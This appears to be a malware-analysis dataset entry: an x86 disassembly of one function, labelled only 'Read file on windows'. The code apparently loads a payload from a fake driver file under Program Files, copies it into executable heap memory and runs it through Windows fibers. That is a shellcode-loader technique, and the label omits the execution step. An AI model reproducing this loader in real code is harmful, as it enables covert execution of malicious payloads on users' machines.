Function at 0x40d6b0
Capabilities:
Read file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x17c
mov edi, dword [0x42a558]
mov dword [0x421848], 0
mov esi, dword [esp + 0x190]
test edi, edi
je 0x40e2d0
mov dword [esp + 4], sym._v_segmentation_fault_handler
mov dword [esp], 0xb
call sub.msvcrt.dll_signal
mov edx, 1
mov eax, 0x10
call sym._GC_malloc_kind_aligned_global.constprop.24
mov dword [eax], 0
mov ebx, dword [0x42a558]
mov dword [eax + 4], str.unknown
mov dword [eax + 8], 7
mov dword [eax + 0xc], 1
test ebx, ebx
je 0x40e3f0
mov dword [sym._GC_default_warn_proc.lto_priv.69], 0x401750
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
mov dword [esp], 0xfde9
mov dword [0x447214], eax
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
sub esp, 4
mov dword [esp], sym._restore_codepage
call sym._atexit
test eax, eax
jne 0x40e090
mov dword [esp], 1
lea ebp, [esp + 0x110]
mov dword [esp + 0x110], 0
call dword [sym.imp.msvcrt.dll__get_osfhandle]
mov dword [esp + 4], ebp
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
sub esp, 8
mov ecx, dword [esp + 0x110]
test ecx, ecx
jle 0x40d814
mov edi, dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov dword [esp], 0xfffffff5
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleMode]
sub esp, 4
mov dword [esp + 4], 7
mov dword [esp], eax
call ebx
sub esp, 8
mov dword [esp], 0xfffffff4
call edi
sub esp, 4
mov dword [esp + 4], 7
mov dword [esp], eax
call ebx
mov ebx, dword [sym.___acrt_iob_func]
sub esp, 8
mov dword [esp], 1
call ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_setbuf
mov dword [esp], 2
call ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call sub.msvcrt.dll_setbuf
mov dword [esp + 4], sym._unhandled_exception_handler_4
mov edi, 0xc
mov dword [esp], 1
call dword [sym.imp.KERNEL32.dll_AddVectoredExceptionHandler]
mov edx, 1
mov eax, 1
mov dword [0x447240], 0x422fa0
mov dword [0x447244], 0xc8
sub esp, 8
mov dword [0x447248], 1
mov dword [0x447234], 0x42306c
mov dword [0x447238], 0x24
mov dword [0x44723c], 1
mov dword [0x447228], 0x422fa0
mov dword [0x44722c], 0xc8
mov dword [0x447230], 1
mov dword [0x447224], 0x80000000
mov dword [0x447220], 0x7fffffff
mov dword [0x447218], 0
mov dword [0x44721c], 0x80000000
call sym._GC_malloc_kind_aligned_global.constprop.24
test esi, esi
mov dword [0x447250], 0
mov dword [0x44724c], eax
mov dword [0x447254], eax
mov dword [0x447258], eax
mov eax, dword [0x447220]
mov dword [0x44725c], eax
mov eax, 0
cmovns eax, esi
imul edi
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], edx
test eax, eax
js 0x40e680
je 0x40dec0
mov eax, dword [esp + 0x28]
mov edx, 1
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40dec0
mov edx, eax
xor ecx, ecx
test esi, esi
jle 0x40d9a4
lea esi, [esi]
lea esi, [esi]
add ecx, 1
mov dword [edx], 0x4222f5
add edx, 0xc
mov dword [edx - 8], 0
mov dword [edx - 4], 1
cmp esi, ecx
jne 0x40d930
mov ebx, eax
xor edi, edi
lea esi, [esi]
lea esi, [esi]
mov eax, dword [esp + 0x194]
add ebx, 0xc
mov edx, dword [eax + edi*4]
add edi, 1
mov dword [esp], edx
mov dword [esp + 0x28], edx
call sub.msvcrt.dll_wcslen
mov edx, dword [esp + 0x28]
mov ecx, eax
lea eax, [esp + 0x44]
call sym._string_from_wide2
mov eax, dword [esp + 0x44]
mov dword [ebx - 0xc], eax
mov eax, dword [esp + 0x48]
mov dword [ebx - 8], eax
mov eax, dword [esp + 0x4c]
mov dword [ebx - 4], eax
cmp esi, edi
jg 0x40d960
lea eax, [esp + 0x30]
call sym._os__getwd
mov edx, 1
mov eax, 0x30
call sym._GC_malloc_kind_aligned_global.constprop.24
mov dword [eax], str..exe
mov dword [eax + 4], 4
mov dword [eax + 8], 1
mov dword [eax + 0xc], str..bat
mov dword [eax + 0x10], 4
mov dword [eax + 0x14], 1
mov dword [eax + 0x18], str..cmd
mov dword [eax + 0x1c], 4
mov dword [eax + 0x20], 1
mov dword [eax + 0x24], 0x4222f5
mov dword [eax + 0x28], 0
mov dword [eax + 0x2c], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [esp + 0x14], 0
mov esi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0x4230a0
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
sub esp, 0x18
lea edi, [eax + eax + 2]
mov dword [esp + 0x28], eax
mov eax, edi
call sym._malloc_noscan
mov edx, dword [esp + 0x28]
test eax, eax
mov ebx, eax
je 0x40da9b
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0x4230a0
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
xor edx, edx
mov word [ebx + edi - 2], dx
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x35
mov dword [esp + 8], str.C:Program_FilesWindows_CrashpadsTrackerUI.sys
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
sub esp, 0x18
lea edi, [eax + eax + 2]
mov dword [esp + 0x28], eax
mov eax, edi
call sym._malloc_noscan
mov edx, eax
test eax, eax
je 0x40db23
mov ecx, dword [esp + 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x14], ecx
mov dword [esp + 0xc], 0x35
mov dword [esp + 8], str.C:Program_FilesWindows_CrashpadsTrackerUI.sys
mov dword [esp + 4], 0
mov dword [esp], 0xfde9
call esi
xor eax, eax
sub esp, 0x18
mov edx, dword [esp + 0x28]
mov word [edx + edi - 2], ax
mov dword [esp + 4], ebx
mov dword [esp], edx
call dword [sym.imp.msvcrt.dll__wfopen]
mov ebx, eax
test eax, eax
je 0x40ded0
mov edi, dword [0x44724c]
mov esi, dword [0x447250]
mov byte [esp + 0x110], 0
mov ecx, dword [0x447254]
mov edx, dword [0x447258]
mov dword [esp + 0x124], eax
mov eax, dword [esp + 0x110]
mov dword [esp + 0x114], edi
mov dword [esp + 0x118], esi
mov dword [esp + 0x11c], ecx
mov dword [esp + 0x120], edx
mov dword [esp + 0xa0], eax
mov dword [esp + 0xa4], edi
mov dword [esp + 0xa8], esi
mov dword [esp + 0xac], ecx
mov dword [esp + 0xb0], edx
mov dword [esp + 0xb4], ebx
test al, al
jne 0x40e018
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov dword [esp], ebx
call sub.msvcrt.dll_fseek
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_ftell
test edi, edi
mov esi, eax
setne al
test esi, esi
je 0x40dbeb
test al, al
jne 0x40e170
test esi, esi
jns 0x40dd10
test al, al
je 0x40dd10
mov edx, 1
mov eax, 0x10
mov dword [esp + 0x80], str.ftell_failed
mov dword [esp + 0x84], 0xc
mov dword [esp + 0x88], 1
mov dword [esp + 0x8c], 0
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40e46f
mov edx, dword [esp + 0x80]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0x84]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x88]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x8c]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0xb8], ecx
add edx, 4
cmp edx, 0x18
jb 0x40dc69
mov dword [esp + 0xbc], eax
mov dword [esp + 0xc4], eax
add eax, 0xc
mov byte [esp + 0xb8], 1
mov dword [esp + 0xc0], 3
mov dword [esp + 0xc8], eax
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov edx, dword [esp + 0xbc]
mov eax, dword [esp + 0xb8]
mov edi, dword [esp + 0x124]
mov esi, dword [esp + 0x12c]
mov dword [esp + 0x114], edx
mov edx, dword [esp + 0xc0]
mov dword [esp + 0x110], eax
mov dword [esp + 0x118], edx
mov edx, dword [esp + 0xc4]
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0xc8]
mov dword [esp + 0x120], edx
jmp 0x40e06c
mov dword [esp], ebx
call sub.msvcrt.dll_rewind
mov eax, dword [0x447258]
mov byte [esp + 0x110], 0
mov edi, dword [0x44724c]
mov ecx, dword [0x447250]
mov dword [esp + 0x124], esi
mov dword [esp + 0x120], eax
mov eax, dword [esp + 0x110]
mov edx, dword [0x447254]
cmp byte [esp + 0x110], 0
mov dword [esp + 0x114], edi
mov dword [esp + 0xb8], eax
mov eax, dword [0x447258]
mov dword [esp + 0x118], ecx
mov dword [esp + 0x11c], edx
mov dword [esp + 0xbc], edi
mov dword [esp + 0xc0], ecx
mov dword [esp + 0xc4], edx
mov dword [esp + 0xc8], eax
mov dword [esp + 0xcc], esi
jne 0x40dca3
test esi, esi
je 0x40e0f0
mov ecx, 0
cmovns ecx, esi
xor edx, edx
mov eax, ecx
mov dword [esp + 0x28], ecx
call sym._GC_malloc_kind_aligned_global.constprop.24
mov ecx, dword [esp + 0x28]
mov dword [esp + 4], 0
mov dword [esp], eax
mov edi, eax
mov dword [esp + 8], ecx
call sym._memset
mov dword [esp + 0xc], ebx
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], edi
call sub.msvcrt.dll_fread
test eax, eax
jne 0x40ddf9
test esi, esi
jg 0x40e390
mov dword [esp], ebx
cmp esi, eax
cmovg esi, eax
call sub.msvcrt.dll_fclose
cmp dword [0x44725c], 4
je 0x40e200
cmp esi, 3
jle 0x40e61e
mov ebp, dword [edi]
mov dword [esp + 8], 0
mov dword [esp], 0x40000
sub esi, ebp
add edi, ebp
mov dword [esp + 4], esi
call dword [sym.imp.KERNEL32.dll_HeapCreate]
sub esp, 0xc
mov dword [esp + 8], esi
mov dword [esp + 4], 8
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
sub esp, 0xc
mov ebx, eax
mov dword [esp + 8], esi
mov dword [esp + 4], edi
mov dword [esp], eax
call sym._memmove
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiber]
sub esp, 4
mov dword [esp + 4], ebx
mov dword [esp + 8], 0
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_CreateFiber]
sub esp, 0xc
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
sub esp, 4
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_DeleteFiber]
xor eax, eax
sub esp, 4
add esp, 0x17c
pop ebx
pop esi
pop edi
pop ebp
ret
test esi, esi
jle 0x40d9a4
xor eax, eax
jmp 0x40d94e
lea edi, [esp + 0xec]
mov ecx, 9
lea edx, [esp + 0xd0]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x70]
mov dword [esp + 0xd0], str.failed_to_open_file__
mov dword [esp + 0xd4], 0x15
mov dword [esp + 0xd8], 1
mov dword [esp + 0xdc], 0xfe10
mov dword [esp + 0xe0], str.C:Program_FilesWindows_CrashpadsTrackerUI.sys
mov dword [esp + 0xe4], 0x35
mov dword [esp + 0xe8], 1
mov dword [esp + 0xf0], 0x4230f0
mov dword [esp + 0xf4], 1
mov dword [esp + 0xf8], 1
call sym._str_intp.constprop.9
mov edx, dword [esp + 0x78]
mov ebx, dword [esp + 0x74]
mov esi, dword [esp + 0x70]
mov dword [esp + 0x28], edx
call dword [sym.imp.msvcrt.dll__errno]
test ebx, ebx
mov edx, dword [esp + 0x28]
mov edi, dword [eax]
je 0x40e360
mov dword [esp + 0xc0], edx
mov eax, 0x10
mov edx, 1
mov dword [esp + 0xb8], esi
mov dword [esp + 0xbc], ebx
mov dword [esp + 0xc4], edi
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40e508
mov edx, dword [esp + 0xb8]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0xbc]
mov dword [eax + 4], edx
mov edx, dword [esp + 0xc0]
mov dword [eax + 8], edx
mov edx, dword [esp + 0xc4]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0xa0], ecx
add edx, 4
cmp edx, 0x18
jb 0x40dfde
mov dword [esp + 0xa4], eax
mov dword [esp + 0xac], eax
add eax, 0xc
mov byte [esp + 0xa0], 1
mov dword [esp + 0xa8], 3
mov dword [esp + 0xb0], eax
mov edx, dword [esp + 0xa4]
mov eax, dword [esp + 0xa0]
mov edi, dword [esp + 0x124]
mov esi, dword [esp + 0x12c]
mov dword [esp + 0x114], edx
mov edx, dword [esp + 0xa8]
mov dword [esp + 0x110], eax
mov dword [esp + 0x118], edx
mov edx, dword [esp + 0xac]
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0xb0]
mov dword [esp + 0x120], edx
test al, al
je 0x40de06
add esp, 0x17c
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 0x5c], eax
mov edx, 1
mov eax, 0x10
mov dword [esp + 0x50], str.at_exit_failed
mov dword [esp + 0x54], 0xe
mov dword [esp + 0x58], 1
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40e5a1
mov edx, dword [esp + 0x50]
mov dword [eax], edx
mov edx, dword [esp + 0x54]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x58]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x5c]
mov dword [eax + 0xc], edx
jmp 0x40d75e
mov edx, ebx
lea eax, [esp + 0xd0]
call sym._os__slurp_file_in_builder
cmp byte [esp + 0xd0], 0
je 0x40e340
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
mov edx, dword [esp + 0xd4]
mov eax, dword [esp + 0xd0]
mov edi, dword [esp + 0x124]
mov esi, dword [esp + 0x12c]
mov dword [esp + 0x114], edx
mov edx, dword [esp + 0xd8]
mov dword [esp + 0x110], eax
mov dword [esp + 0x118], edx
mov edx, dword [esp + 0xdc]
mov dword [esp + 0x11c], edx
mov edx, dword [esp + 0xe0]
mov dword [esp + 0x120], edx
jmp 0x40e06c
mov edx, 1
mov eax, 0x10
mov dword [esp + 0x90], str.fseek_failed
mov dword [esp + 0x94], 0xc
mov dword [esp + 0x98], 1
mov dword [esp + 0x9c], 0
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40e46f
mov edx, dword [esp + 0x90]
xor ecx, ecx
mov dword [eax], edx
mov edx, dword [esp + 0x94]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x98]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x9c]
mov dword [eax + 0xc], edx
xor edx, edx
mov dword [esp + edx + 0xb8], ecx
add edx, 4
cmp edx, 0x18
jb 0x40e1de
jmp 0x40dc78
test esi, esi
jns 0x40de1c
lea edi, [esp + 0x124]
mov ecx, 0x13
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x110], str.array.slice:_invalid_slice_index__
mov dword [esp + 0x114], 0x22
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0xfe07
mov dword [esp + 0x120], 0
mov dword [esp + 0x130], 0x42313f
mov dword [esp + 0x134], 3
mov edx, ebp
lea eax, [esp + 0xa0]
mov dword [esp + 0x138], 1
mov dword [esp + 0x13c], 0xfe07
mov dword [esp + 0x140], esi
mov dword [esp + 0x150], 0x422f54
mov dword [esp + 0x154], 1
mov dword [esp + 0x158], 1
call sym._str_intp.constprop.8
mov eax, dword [esp + 0xa0]
mov edx, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa8]
call sym.__v_panic
lea esi, [esi]
nop
mov dword [esp], 0x4229af
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
test eax, eax
je 0x40e320
mov dword [esp + 4], 0x422c5c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
je 0x40e320
mov dword [esp + 4], 0xfa0
mov dword [esp], 0x42a540
call eax
sub esp, 8
jmp 0x40e330
mov dword [esp], 0x42a540
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
sub esp, 4
call sym._GC_init.part.57
jmp 0x40d6d9
mov dword [esp], ebx
mov edi, dword [esp + 0xe4]
mov esi, dword [esp + 0xec]
call sub.msvcrt.dll_fclose
jmp 0x40de06
mov dword [esp], edi
call sub.msvcrt.dll_strerror
mov esi, eax
test eax, eax
je 0x40e460
mov dword [esp], eax
call sym._strlen
xor edx, edx
mov ebx, eax
jmp 0x40df80
mov edx, 1
mov eax, 0x10
mov dword [esp + 0x60], str.fread_failed
mov dword [esp + 0x64], 0xc
mov dword [esp + 0x68], 1
mov dword [esp + 0x6c], 0
call sym._GC_malloc_kind_aligned_global.constprop.24
test eax, eax
je 0x40e46f
mov edx, dword [esp + 0x60]
mov dword [eax], edx
mov edx, dword [esp + 0x64]
mov dword [eax + 4], edx
mov edx, dword [esp + 0x68]
mov dword [eax + 8], edx
mov edx, dword [esp + 0x6c]
mov dword [eax + 0xc], edx
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
jmp 0x40e074
mov dword [esp], 0x4229af
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
sub esp, 4
test eax, eax
je 0x40e440
mov dword [esp + 4], 0x422c5c
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
sub esp, 8
test eax, eax
je 0x40e440
mov dword [esp + 4], 0xfa0
mov dword [esp], 0x42a540
call eax
sub esp, 8
call sym._GC_init.part.57
jmp 0x40d725
mov dword [esp], 0x42a540
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
sub esp, 4
jmp 0x40e430
mov edx, 1
mov esi, 0x4222f5
jmp 0x40df80
lea edi, [esp + 0x128]
mov ecx, 0xa
mov edx, ebp
rep stosd dword es:[edi], eax
mov dword [esp + 0x110], str.malloc_
mov dword [esp + 0x114], 7
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0xfe09
mov dword [esp + 0x120], 0x10
mov dword [esp + 0x124], 0
mov dword [esp + 0x130], str.__failed
mov dword [esp + 0x134], 8
mov dword [esp + 0x138], 1
lea eax, [esp + 0xd0]
call sym._str_intp.constprop.9
mov eax, dword [esp + 0xd0]
mov edx, dword [esp + 0xd4]
mov ecx, dword [esp + 0xd8]
call sym.__v_panic
lea edi, [esp + 0x128]
mov ecx, 0xa
mov edx, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xa0]
mov dword [esp + 0x110], str.malloc_
mov dword [esp + 0x114], 7
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0xfe09
mov dword [esp + 0x120], 0x10
mov dword [esp + 0x124], 0
mov dword [esp + 0x130], str.__failed
mov dword [esp + 0x134], 8
mov dword [esp + 0x138], 1
call sym._str_intp.constprop.9
mov eax, dword [esp + 0xa0]
mov edx, dword [esp + 0xa4]
mov ecx, dword [esp + 0xa8]
call sym.__v_panic
lea edi, [esp + 0x128]
mov ecx, 0xa
lea edx, [esp + 0x110]
rep stosd dword es:[edi], eax
mov dword [esp + 0x110], str.malloc_
mov dword [esp + 0x114], 7
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0xfe09
mov dword [esp + 0x120], 0x10
mov dword [esp + 0x124], 0
mov dword [esp + 0x130], str.__failed
mov dword [esp + 0x134], 8
mov dword [esp + 0x138], 1
jmp 0x40e4e2
lea edi, [esp + 0x124]
mov ecx, 0x13
xor eax, eax
rep stosd dword es:[edi], eax
mov dword [esp + 0x110], str.array.slice:_slice_bounds_out_of_range__
mov dword [esp + 0x114], 0x28
mov dword [esp + 0x118], 1
mov dword [esp + 0x11c], 0xfe07
mov dword [esp + 0x120], 4
mov dword [esp + 0x130], str.__
mov dword [esp + 0x134], 4
jmp 0x40e265
mov eax, dword [esp + 0x28]
call sym._vcalloc.part.79
nop
nop
nop
nop
nop
nop
nop